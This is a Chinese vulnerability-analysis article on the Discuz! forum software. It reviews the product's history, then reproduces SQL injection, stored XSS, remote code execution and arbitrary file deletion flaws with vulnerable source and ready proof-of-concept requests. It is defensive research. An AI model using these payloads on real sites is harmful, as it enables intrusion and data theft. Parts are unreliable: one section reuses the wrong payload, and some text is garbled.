CMS真的安全嗎?(三)洞鑑Discuz!
一、Discuz!的前世今生
Discuz!全稱Crossday Discuz! Board,是北京康盛新創科技有限責任公司推出的一套通用的社群論壇軟體系統。自2001年6月面世以來,Discuz!已擁有15年以上的應用歷史和200多萬網站使用者案例,是全球成熟度最高、覆蓋率最大的論壇軟體系統之一。
Discuz!論壇軟體系統專案起始於 2001 年底,初創時名稱為 CDB,初期只是一個利用業餘時間完成的一個免費軟體。在釋出之後,CDB收到了眾多使用者,積累了第一批使用者。2002 年中到 2003 年初,CDB 開發組利用一時期的技術積累,對 CDB 的程式碼進行了 100% 重新編寫和架構,並將 CDB 改名為 Discuz!,2003年06月 Discuz!2.0釋出,Discuz!2.0是當時惟一採用編譯模板系統構建的商業化產品。Discuz!真正誕生。2010年10月20日 Discuz!7.2正式版釋出,Discuz!論壇軟體系統已經走了近10年,論壇技術已經相對穩定。經過多年的技術積累,Discuz!在2010年與X-Space相結合,推出Discuz!X系列,Discuz!從一個社群論壇系統轉型為集論壇(BBS)、社交網路(SNS)、門戶(Portal)、群組(Group)、開放平臺(Open Platform)應用融合於一體的建站一站式服務體系。Discuz!X系列作為主打產品,一直髮展至今,受到眾多使用者的歡迎。
但是,Discuz!作為發展了近18年的老產品,其版本數量也多的驚人,它的一個大版本就相當於對應了一個系列,以下一張圖片就可以展示Discuz!的主要版本。除去最初的CDB以及Discuz!2.0、Discuz!3.0,其餘的大版本也有18個之多,我們可以看出Discuz!還有一個產品是Discuz!NT,該產品是一個ASP語言編寫的論壇系統,使用量一般,本文就不過多敘述。
圖 1 Discuz!版本資訊
Discuz!是中國知名的社群論壇服務軟體,在中國的活躍使用量數以十萬計,根據全網資料統計,目前Discuz!在國內的使用量超過13W,在各省分佈中,Discuz!在浙江使用量最高,位列第一;第二是北京,第三則是北京,下圖2展示了Discuz!在全國範圍內使用量排行前七的地域。
圖 2 Discuz!使用量地域分佈
Discuz!自從釋出了Discuz!X系列後,Discuz!X不僅僅能是一個社交論壇系統,也是一個電子商務建站系統、內容管理系統、社交部落格系統等。所以,Discuz!能被用在各行各業當中。根據全網資料統計,Discuz!X在政府部門的使用量超過250餘個,同時也被用於眾多高校的BBS中,並且在個人BBS建站中,佔據絕對領先地位,同時也被用於眾多商業領域。Discuz!建站系統推出時間很長,使用面廣,但由於PHP較強的靈活性以及其他安全原因,從誕生之初就不斷爆出各種高危漏洞。因此,Discuz!的安全性一直以來被備受質疑。
二、Discuz!備受質疑的安全性
根據千里目實驗室漏洞庫的統計,Discuz!歷史漏洞總量高達200餘個,其中Discuz!系列由於開發時間較早,程式碼較不規範,漏洞較多,漏洞超過130個以上,而Discuz!X作為其主打升級產品,漏洞數量比之前Discuz!少,約為80餘個。
Discuz!高危漏洞也超過40餘個,其高危漏洞型別主要有以下幾類:注入類、命令執行類、遠端檔案包含、遠端檔案刪除漏洞等,其中SQL%E6%B3%A8%E5%85%A5/">SQL注入問題以及XSS注入問題是最為嚴重的兩類,其數量超過漏洞總量的百分之80%以上,這也是與Discuz!的特性有關,作為論壇社交門戶,使用者可操作的地方過多,外部可控引數量多,如果未做好注入過濾以及安全性檢測,就會出現很多的注入類漏洞。以下是Discuz!漏洞數量最多的五類漏洞的分佈圖。
圖2 Discuz!漏洞型別分佈
接下來,筆者將會介紹這幾種漏洞型別中具有代表性的漏洞。
2.1 SQL注入漏洞
根據漏洞統計資料,SQL注入漏洞總量少於反射型XSS注入漏洞,但是均遠高於其他型別漏洞。並且,從漏洞與Discuz!版本的對應關係可以看出,SQL注入漏洞主要存在於Discuz!版本當中,而在Discuz!X系列產品中,包含較少,根據筆者分析,原因主要是因為Discuz!產品較老,所處年代對安全不夠重視,而Discuz!X是屬於2010後產品,程式碼較之前較為規範,框架中包含了預防SQL注入、預防XSS注入等模組,整體減少了該系列產品中SQL注入漏洞的數量。下面,筆者將介紹幾個Discuz!的經典高危害性SQL注入漏洞。
2.1.1 Discuz!7.2 faq.php SQL 注入漏洞
1.漏洞原理
該漏洞是一個Discuz!7.2版本較為典型的漏洞,Discuz!7.2是Discuz!系列的最高版本,也是最後一個專注社群論壇的版本,因此在使用量上較高。
Discuz!7.2 faq.php SQL 注入漏洞存在於檔案faq.php中,
} elseif($action == 'grouppermission') { require_once'./include/forum.func.php'; require_oncelanguage('misc'); $permlang =$language; unset($language); $searchgroupid =isset($searchgroupid) ? intval($searchgroupid) : $groupid; $groups =$grouplist = array(); $query =$db->query("SELECT groupid, type, grouptitle, radminid FROM{$tablepre}usergroups ORDER BY (creditshigher<>'0' ||creditslower<>'0'), creditslower"); $cgdata =$nextgid = ''; while($group =$db->fetch_array($query)) { $group['type']= $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' :$group['type']; $groups[$group['type']][]= array($group['groupid'], $group['grouptitle']); $grouplist[$group['type']].= '<option value="'.$group['groupid'].'"'.($searchgroupid ==$group['groupid'] ? ' selected="selected"' :'').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' ←': '').'</option>'; if($group['groupid']== $searchgroupid) { $cgdata= array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']); } } if($cgdata[0] =='member') { $nextgid =$groups[$cgdata[0]][$cgdata[1] + 1][0]; if($cgdata[1]> 0) { $gids[1]= $groups[$cgdata[0]][$cgdata[1] - 1]; } $gids[2] =$groups[$cgdata[0]][$cgdata[1]]; if($cgdata[1]< count($groups[$cgdata[0]]) - 1) { $gids[3]= $groups[$cgdata[0]][$cgdata[1] + 1]; if(count($gids)== 2) { $gids[4]= $groups[$cgdata[0]][$cgdata[1] + 2]; } }elseif(count($gids) == 2) { $gids[0]= $groups[$cgdata[0]][$cgdata[1] - 2]; } } else { $gids[1] =$groups[$cgdata[0]][$cgdata[1]]; } ksort($gids); $groupids =array(); foreach($gids as$row) { $groupids[]= $row[0]; } $query =$db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN{$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN(".implodeids($groupids).")"); $groups =array();
在該段程式碼中,首先定義一個數組groupids,然後遍歷$gids(這也是個陣列,就是$_GET[gids]),將陣列中的所有值的第一位取出來放在groupids中。為什麼這個操作就造成了注入?在《高階PHP應用程式漏洞稽核技術》[1]一文裡的"魔術引號帶來的新的安全問題"一節裡,有提到通過提取魔術引號產生的“\”字元帶來的安全問題,同樣這個問題在這裡又一次完美體現。Discuz!在全域性會對GET陣列進行addslashes轉義,也就是說會將'轉義成\',所以,如果我們的傳入的引數是:gids[1]='的話,會被轉義成$gids[1]=\',而這個賦值語句$groupids[] = $row[0]就相當於取了字串的第一個字元,也就是\,把轉義符號取出來了。
同時,經過處理的資料進入SQL語句前,將會通過implodeids函式進行處理了一遍,implodeids函式如下:
function implodeids($array) { if(!empty($array)){ return"'".implode("','", is_array($array) ? $array :array($array))."'"; } else { return ''; } }
這個函式將之前的groupids[]資料進行分割,組成一個類似於'1','2','3','4'的字串返回。但是我們的陣列剛取出來一個轉義符,它會將這裡一個正常的'轉義掉,比如這樣:'1','\','3','4'
我們看到第4個單引號被轉義了,也就是說第5個單引號和第3個單引號閉合。這樣3這個位置就等於逃逸出了單引號,也就是產生的注入。我們把報錯語句放在3這個位置,就能報錯。最終可以構造SQL注入,進行攻擊。
2.漏洞復現
*以下是該漏洞的復現方式。訪問地址為:
siteserver/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
出現如下圖頁面,即利用成功:
2.1.2 Discuz! 7.2 /search.php SQL注入漏洞
1.漏洞原理
該漏洞最早見諸在烏雲漏洞庫中,該漏洞存在於檔案/include/search_sort.inc.php中,具體程式碼及說明如下:
if((!$searchoption || !is_array($searchoption)) && !$selectsortid) { showmessage('search_threadtype_invalid', "search.php?srchtype=threadsort&sortid=$selectsortid&srchfid=$fid"); } elseif(isset($srchfid) && $srchfid != 'all' && !(is_array($srchfid) && in_array('all', $srchfid)) && empty($forumsarray)) { showmessage('search_forum_invalid', "search.php?srchtype=threadsort&sortid=$selectsortid&srchfid=$fid"); } elseif(!$fids) { showmessage('group_nopermission', NULL, 'NOPERM'); } if($maxspm) { if($db->result_first("SELECT COUNT(*) FROM {$tablepre}searchindex WHERE dateline>'$timestamp'-60") >= $maxspm) { showmessage('search_toomany', 'search.php'); } } @include_once DISCUZ_ROOT.'./forumdata/cache/threadsort_'.$selectsortid.'.php'; $sqlsrch = $or = '';
其中$selectsortid變數沒有做過任何處理,
@include_once DISCUZ_ROOT.'./forumdata/cache/threadsort_'.$selectsortid.'.php';
然後進入到了170行的SQL語句中,造成了SQL注入漏洞。
@include_once DISCUZ_ROOT.'./forumdata/cache/threadsort_'.$selectsortid.'.php';
2.漏洞復現
*以下是該漏洞的復現方式。訪問地址為:
siteserver/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
出現如下圖頁面,即利用成功:
2.1.3 Discuz!x3.2 misc.php SQL注入漏洞
1.漏洞原理
該漏洞存在於Discuz!X3.2版本,由於加入了Discuz!X3系列的框架中都加入了SQL注入過濾模組,所以該漏洞屬於Discuz!X3系列中少有的SQL注入漏洞。我們來看一下該漏洞,漏洞存在於/source/include/misc/misc_stat.php檔案中:
if(!empty($_GET['xml'])) { $xaxis = ''; $graph = array(); $count = 1; $begin = dgmdate($beginunixstr, 'Ymd'); $end = dgmdate($endunixstr, 'Ymd'); $field = '*'; if(!empty($_GET['merge'])) { if(empty($_GET['types'])) { $_GET['types'] = array_merge($cols['login'], $cols['forum'], $cols['tgroup'], $cols['home'], $cols['space']); } $field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic'; $type = 'statistic'; } foreach(C::t('common_stat')->fetch_all($begin, $end, $field) as $value) { $xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>"; if($type == 'all') { foreach ($cols as $ck => $cvs) { if($ck == 'login') { $graph['login'] .= "<value xid='$count'>$value[login]</value>"; $graph['register'] .= "<value xid='$count'>$value[register]</value>"; } else { $num = 0; foreach ($cvs as $cvk) { $num = $value[$cvk] + $num; } $graph[$ck] .= "<value xid='$count'>".$num."</value>"; } } } else { //var_dump($value);exit; if(empty($_GET['types']) || !empty($_GET['merge'])) { $graph[$type] .= "<value xid='$count'>".$value[$type]."</value>"; } else { foreach($_GET['types'] as $t) { $graph[$t] .= "<value xid='$count'>".$value[$t]."</value>"; } } } $count++; } $xml = ''; $xml .= '<'."?xml version=\"1.0\" encoding=\"utf-8\"?>"; $xml .= '<chart><xaxis>'; $xml .= $xaxis; $xml .= "</xaxis><graphs>"; $count = 0; foreach ($graph as $key => $value) { $xml .= "<graph gid='$count' title='".diconv(lang('spacecp', "do_stat_$key"), CHARSET, 'utf8')."'>"; $xml .= $value; $xml .= '</graph>'; $count++; } $xml .= '</graphs></chart>'; @header("Expires: -1") @header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE); @header("Pragma: no-cache"); @header("Content-type: application/xml; charset=utf-8"); echo $xml; exit(); }
在該行程式碼中:
$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';
將$_GET['type']陣列直接用+分割,並沒有過濾。並且因為位置在$field的地方,並不在單引號中,所以不用引入單引號,也無需考慮addslashes。
該漏洞利用最難的一點在於繞過Discuz!防注入模組,任何在SQL注入中用到的單雙引號、小括號均無法在此用到,所以這裡利用mysql的特性,一次查詢兩個表,將pre_ucenter_members的資料連帶著查詢出來,因為pre_common_statuser表中存在`daytime`這個列。而且這個表中也有uid這個列,正好可以作為pre_ucenter_members的篩選項。並且在某些情況下,`能作為註釋符用。因為mysql會自動給sql語句結尾沒有閉合的`閉合掉,這樣,只要讓mysql人為後面那一大串字元是一個欄位的“別名”即可。
2.漏洞復現
*以下是該漏洞的復現方式。訪問地址為:
0x01:
首先登入前臺(需要有管理員許可權的賬戶),然後訪問:
·http://siteserver/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password%60as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as
出現頁面如下,則成功利用:
2.2 XSS注入漏洞
XSS注入漏洞廣泛存在於Discuz!各版本當中,無論是Dicuz!還是Discuz!X都存在很多XSS漏洞,Discuz!中的XSS漏洞主要集中在反射型XSS漏洞以及儲存型XSS漏洞,當然,儲存型XSS漏洞的威脅性遠高於反射型XSS漏洞。下來我們將介紹Discuz!漏洞中具有代表性的XSS漏洞。
2.2.1 Discuz! x3 bbcode.js 儲存型XSS注入漏洞
1.漏洞原理
該漏洞的主要原因主要原因是由於/static/js/bbcode.js 檔案中的 bbcode2html() 函式對 shortcode 進行正則替換時,導致可以構造 payload,讓編輯器渲染時形成 XSS。
在bbcode.js檔案中:
if(!fetchCheckbox('bbcodeoff') && allowbbcode) { str = clearcode(str); str = str.replace(/\[url\]\s*((https?|ftp|gopher|news|telnet|rtsp|mms|callto|bctp|thunder|qqdl|synacast){1}:\/\/|www\.)([^\[\"']+?)\s*\[\/url\]/ig, function($1, $2, $3, $4) {return cuturl($2 + $4);}); str = str.replace(/\[url=((https?|ftp|gopher|news|telnet|rtsp|mms|callto|bctp|thunder|qqdl|synacast){1}:\/\/|www\.|mailto:)?([^\r\n\[\"']+?)\]([\s\S]+?)\[\/url\]/ig, '<a href="$1$3" target="_blank">$4</a>'); str = str.replace(/\(.[^\\=[]*)\[\/email\]/ig,<a href="mailto:$1">$1</a> ); str = str.replace(/\[email=(.[^\\=[]*)\](.*?)\[\/email\]/ig,<a href="mailto:$1" target="_blank">$2<;/a> ); str = str.replace(/\[postbg\]\s*([^\[\<\r\n; \"\?\(\)]+?)\s*\[\/postbg\]/ig, function($1, $2) { addCSS =; if(in_array($2, postimg_type["postbg"])) { addCSS =<style type="text/css" name="editorpostbg">body{background-image:url(" +STATICURL+9;image/postbg/ +$2+ ");}</style> ; } return addCSS; });</pre>
ä����å��email參æ�°é��� shortcode æ£å��¿���»能é� � XSS�æ�°ç� payload �¢æ��º�¼�[email]2"onmouseover="alert(2),攻擊者可以將 payload 作為帖子內容或者評論,在管理員或者有許可權人員對包含 payload 的帖子或者評論進行編輯時,利用 onmouseover 觸發 JS 執行。
2.漏洞復現
*以下是該漏洞的復現方式
當然,首先必須進入DedeCMS的後臺,進入後訪問如下PoC:
首先登入前臺,隨便一個版塊建立一個帖子,輸入如下payload:
2"onmouseover="alert(2)
提交,然後點選編輯,則可以觸發彈窗
2.3遠端程式碼執行漏洞
2.3.1 Discuz!7.x discuzcode.func.php遠端程式碼執行漏洞
1.漏洞原理
Discuz 7.x系列discuzcode.func.php檔案中,preg_replace執行了全域性變數,全域性變數可cookie提交,導致產生程式碼執行漏洞。
首先在include/global.func.php程式碼中:
function daddslashes($string, $force = 0) { !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { $string = addslashes($string); } } return $string; } include/common.inc.php裡: foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value);//變數引入 } }
模擬register_globals功能的程式碼,在GPC為off時會呼叫addslashes()函式處理變數值,但是如果直接使用$_GET/$_POST/$_COOKIE這樣的變數,這個就不起作用了,然而Discuz!的原始碼裡直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。但是還有其他的繞過方法,在register_globals=on下通過提交GLOBALS變數就可以繞過上面的程式碼了。為了防止這種情況,Discuz!中有如下程式碼:
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) { exit('Request tainting attempted.'); }
但是在PHP之後的版本request_order預設值為GP,也就是說預設配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那麼我們就可以通過COOKIE來提交GLOBALS變量了。在include/discuzcode.func.php檔案中:
function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) { global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl; if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[ /code]') || strpos($message, '[ /CODE]')) !== FALSE) { $message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message); } $msglower = strtolower($message); //$htmlon = $htmlon && $allowhtml ? 1 : 0; if(!$htmlon) { $message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message); } if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) { if(!$discuzcodes['smiliesreplaced']) { foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) { $GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />'; } $discuzcodes['smiliesreplaced'] = 1; } $message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies); } ......
其中:
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
讓 preg_replace 加上/e 修正符,最終產生了程式碼執行。
2.漏洞復現
*以下是該漏洞的復現方式
首先需要登入一個前臺賬戶,首先在一個帖子中進行回覆,回覆中必須帶有一個表情符號。
然後訪問 ofollow,noindex" target="_blank">http://serversite/viewthread.php?tid=12&extra=page%3D1,使用burpsuite抓包,在cookie中加入:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
然後就可觸發phpinfo()函式。
2.3.2 Discuz!x3 convert模組遠端程式碼執行漏洞
1.漏洞原理
Convert模組是Discuz!自動升級轉換元件,該問題是由於元件中的index.php檔案對newconfig引數過濾不嚴格,導致攻擊者可以向/data/config.inc.php檔案中寫入任意程式碼,造成程式碼執行漏洞。
在\utility\convert\include\do_config.inc.php檔案中:
<?php /** * DiscuzX Convert * * $Id: do_config.inc.php 10469 2010-05-11 09:12:14Z monkey $ */ if(!defined('DISCUZ_ROOT')) { exit('Access error'); } $configfile = DISCUZ_ROOT.'./data/config.inc.php'; $configfile_default = DISCUZ_ROOT.'./data/config.default.php'; @touch($configfile); if(!is_writable($configfile)) { showmessage('config_write_error'); } $config_default = loadconfig('config.default.php'); $error = array(); if(submitcheck()) { $newconfig = getgpc('newconfig'); if(is_array($newconfig)) { $checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target'); foreach ($checkarray as $key) { if(!empty($newconfig[$key]['dbhost'])) { $check = mysql_connect_test($newconfig[$key], $key); if($check < 0) { $error[$key] = lang('mysql_connect_error_'.abs($check)); } } else { $error[$key] = lang('mysql_config_error'); } } save_config_file($configfile, $newconfig, $config_default); if(empty($error)) { $db_target = new db_mysql($newconfig['target']); $db_target->connect(); delete_process('all'); showmessage('config_success', 'index.php?a=select&source='.$source); } } } showtips('如果無法顯示設定專案,請刪除檔案 data/config.inc.php'); $config = loadconfig('config.inc.php'); if(empty($config)) { $config = $config_default; } show_form_header(); show_config_input('source', $config['source'], $error['source']); show_config_input('target', $config['target'], $error['target']); if($setting['config']['ucenter']) { show_config_input('ucenter', $config['ucenter'], $error['ucenter']); } show_form_footer('submit', 'config_save'); ?>
在newconfig陣列中的key值未被處理過濾,Key值被寫入檔案程式碼中,最終造成程式碼執行。
2.漏洞復現
*以下是該漏洞的復現方式
POST: http://siteserver/utility/convert/index.php?a=config&source=d7.2_x2.0 newconfig[aaa%0a%0dphpinfo();//]=aaaa&submit=yes
最終出現如下頁面:
注:由於該模組是用於Discuz!升級的模組,所以payload中source需要寫入從低版本向高版本轉化。
2.4遠端檔案刪除漏洞
Discuz!X3.4版本以及之前版本爆發過一個遠端檔案刪除漏洞,該漏洞利用方式簡單,雖然無法GetShell,但是其破壞性是非常大的。
1.漏洞原理
首先在source/include/spacecp/spacecp_profile.php中,其中,unlink函式是該漏洞的觸發點,這段程式碼是在結束了foreach迴圈操作後,再對外部$_GET進來的deletefile進行處理:
if($_GET['deletefile'] && is_array($_GET['deletefile'])) { foreach($_GET['deletefile'] as $key => $value) { if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $setarr[$key] = ''; } } }
程式碼中首先判斷了外部是否含有deletefile陣列,然後對$_G[‘cache&’]['profilesetting'][$key]進行判斷,看裡面是否有值,其中最重要的地方在於$_GET['deletefile'] as $key = $value,這一步將外部的引數賦值給了$key值,$space[$key]則是資料庫中個人資料的值。我們只要把個人資料的值變為File型別,然後通過觸發上面程式碼動作檔案上傳就可以執行任意檔案刪除漏洞了。
if($_FILES) { $upload = new discuz_upload(); foreach($_FILES as $key => $file) { if(!isset($_G['cache']['profilesetting'][$key])) { continue; } $field = $_G['cache']['profilesetting'][$key]; if((!empty($file) && $file['error'] == 0) || (!empty($space[$key]) && empty($_GET['deletefile'][$key]))) { $value = '1'; } else { $value = ''; } if(!profile_check($key, $value, $space)) { profile_showerror($key); } elseif($field['size'] && $field['size']*1024 < $file['size']) { profile_showerror($key, lang('spacecp', 'filesize_lessthan').$field['size'].'KB'); } $upload->init($file, 'profile'); $attach = $upload->attach; if(!$upload->error()) { $upload->save(); if(!$upload->get_image_info($attach['target'])) { @unlink($attach['target']); continue; } $setarr[$key] = ''; $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment'])); if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) { if(isset($verifyinfo['field'][$key])) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; } continue; } if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; continue; } @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); $setarr[$key] = $attach['attachment']; } } }
整個漏洞的觸發流程是:
修改個人資訊中的欄位為檔案—>上傳檔案—>執行unlink—>刪除任意檔案
2.漏洞復現
*以下是該漏洞的復現方式
第一步:首先在伺服器根目錄下建立一個1.txt檔案。
第二步:然後註冊一個賬號,進入前臺後,使用POST方法:
POST: http://siteserver/upload/home.php?mod=spacecp∾=profile&op=base birthprovince=../../../1.txt&profilesubmit=1&formhash={該頁面下的formhash}
第三步:編寫一個如圖的HTML檔案,ip埠以及formhash根據當時頁面確定。
第四步:運HTML頁面,上傳一張圖片,檔案即被刪除。
三、總結
CMS漏洞分析已經走到了第三個模組了,回顧之前的分析成果,就如前文所說,PHP語言很靈活,開發WEB效率最高,對伺服器環境要求較低,成本便宜,也易擴充套件,但是其安全性確實較低,高開發效率註定l 系統中很多處理邏輯不夠嚴謹,程式碼不夠規範。但是其開源的本質,使得眾多安全研究員為它們差缺補漏,所以在這些成熟的PHP類CMS系統最新的版本中,被爆出的漏洞數量已經明顯減少。其中我歸納的原因有以下幾條:
1.PHP語言已經經過多年發展,PHP語言本身的安全性已有很大的提高,最終導致PHP類CMS的漏洞數量減少。
2.CMS行業競爭越來越激烈,CMS開發組也已逐漸重視安全,架構中已經加入了安全過濾模組,並且在進行持續優化。
3.程式碼審計以及漏洞挖掘技術現在要求較高,漏洞挖掘對繞過技巧的要求也越來越高。
但是,隨著漏洞挖掘的深入,現在CMS所爆發出的漏洞危害性都很大,例如近年來PHPCMS、DedeCMS、Discuz!所爆出的漏洞,基本最終都能GetSehll,漏洞的繞過方式越難,所觸及到的基本都是框架的核心點(核心框架或者核心功能)或者是薄弱點(即功能存在,但是使用量較小)。另外,從近年來爆發的漏洞來看,CMS框架的後臺始終是一個“法外之地”,CMS的後臺充滿了任意檔案上傳、任意程式碼執行、本地檔案包含等高危漏洞,而且利用條件很低,基本上只要進入後臺,就可以GetShell,這方面DedeCMS是最為明顯的,包括最新版本都還包含著這些漏洞。後臺高危漏洞是不容忽視的一塊高位領域。
安全是資訊時代的生命線,安全研究人員分析漏洞的最終目的是為了更好地防禦各種利用漏洞的攻擊以及增強各個漏洞的檢測能力。作為一個致力於Web安全的安全研究員,PHP類Web安全是我無法忽視的一個陣地。對於本文中的Discuz!,筆者經過長時間的分析與總結,為的就是提升這些漏洞的檢測能力以及防禦能力,最終為使用者的WEB安全修上一堵牆。Dicuz!雖然使用面廣,但是安全依舊較多。一個漏洞的出現,對於使用者來說,那麼就意味著自己的資產陷入了危險的境遇之中,所以對漏洞的提前的防禦與預知,防範於未然,是很有必要的。
攻防的較量從未停止,黑帽子與白帽子間的鬥爭也越演越烈。在Web安全這個戰場上,需要持續深入地研究,才能佔有主動權。